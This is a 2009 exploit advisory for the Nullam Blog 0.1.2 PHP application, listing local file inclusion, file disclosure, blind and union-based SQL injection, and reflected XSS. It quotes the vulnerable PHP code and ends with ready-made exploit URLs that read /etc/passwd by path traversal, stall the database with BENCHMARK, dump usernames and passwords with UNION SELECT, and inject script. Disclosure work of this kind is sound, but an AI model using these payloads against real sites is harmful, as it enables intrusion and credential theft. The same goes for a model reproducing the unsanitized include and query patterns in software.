******** Salvatore "drosophila" Fresta ********
[+] Application: Nullam Blog
[+] Version: 0.1.2
[+] Website: http://nullam.net/
[+] Bugs: [A] Local File Inclusion
[B] File Disclosure
[C] Multiple Blind SQL Injection
[D] SQL Injection
[E] Reflected XSS
[+] Exploitation: Remote
[+] Date: 10 Sep 2009
[+] Discovered by: Salvatore Fresta aka drosophila
[+] Author: Salvatore Fresta aka drosophila
[+] E-mail: drosophilaxxx [at] gmail.com
[+] Menu
1) Bugs
2) Code
3) Fix
[+] Bugs
The following flaws are tested on version 0.1.2.
Other versions may also be affected.
[-] Risk: high
[-] File affected: index.php
This bug allows a guest to include a local file.
…
$static = false;
if(!isset($_GET['p'])) {
$include = "./pages/news.php";
} else {
$include = "./pages/" . $_GET['p'] . ".php";
}
…
if(!$static) {
include($include);
}
…
[-] Risk: medium
[-] File affected: index.php
This bug allows a guest to view the content of a
local file.
…
if(isset($_GET['s'])) {
$static = true;
$include = "./pages/custom/" . $_GET['s'] . ".html";
}
…
if(!$static) {
include($include);
} else {
$pageSmarty = new Smarty;
$pageSmarty->assign('html', file_get_contents($include));
…
[-] Risk: medium
[-] File affected: news.php, register.php
These bugs allows a guest to inject SQL statements
into the affected queries.
[-] Risk: high
[-] File affected: register.php
This bug allows a guest to inject SQL statements
into the affected query.
…
$result = mysql_query(sprintf("SELECT `uname`,`verified` FROM `users` WHERE `verifyHash`='%s' LIMIT
1;", $_GET['v'])) or die(mysql_error());
if(mysql_numrows($result) != 1) {
$msg = "Invalid verification hash! If you followed the link you received in your
email please contact an admin and request a new verification email.";
} else {
$msg = "User " . mysql_result($result, 0, 'uname') . " successfully verified! you
may now login using the form on the main page!";
}
…
[+] Code
http://site/path/index.php?p=../../../../../../etc/passwd%00
http://site/path/index.php?s=../../../../../../../etc/passwd %00
http://site/path/index.php?y=1&i=%25-1%25' OR IF(ASCII(CHAR(97)) =
97,BENCHMARK(10000000000,null),null)%23
http://site/path/index.php?p=register&v=1' OR IF(ASCII(CHAR(97)) =
97,BENCHMARK(10000000000,null),null)%23
http://site/path/index.php?p=register&v=-1' UNION ALL SELECT GROUP_CONCAT(uname,0x3a,passwd),2 FROM
users%23
http://site/path/index.php?p=error&e=<script>alert('XSS');</script>
[+] Fix
No fix.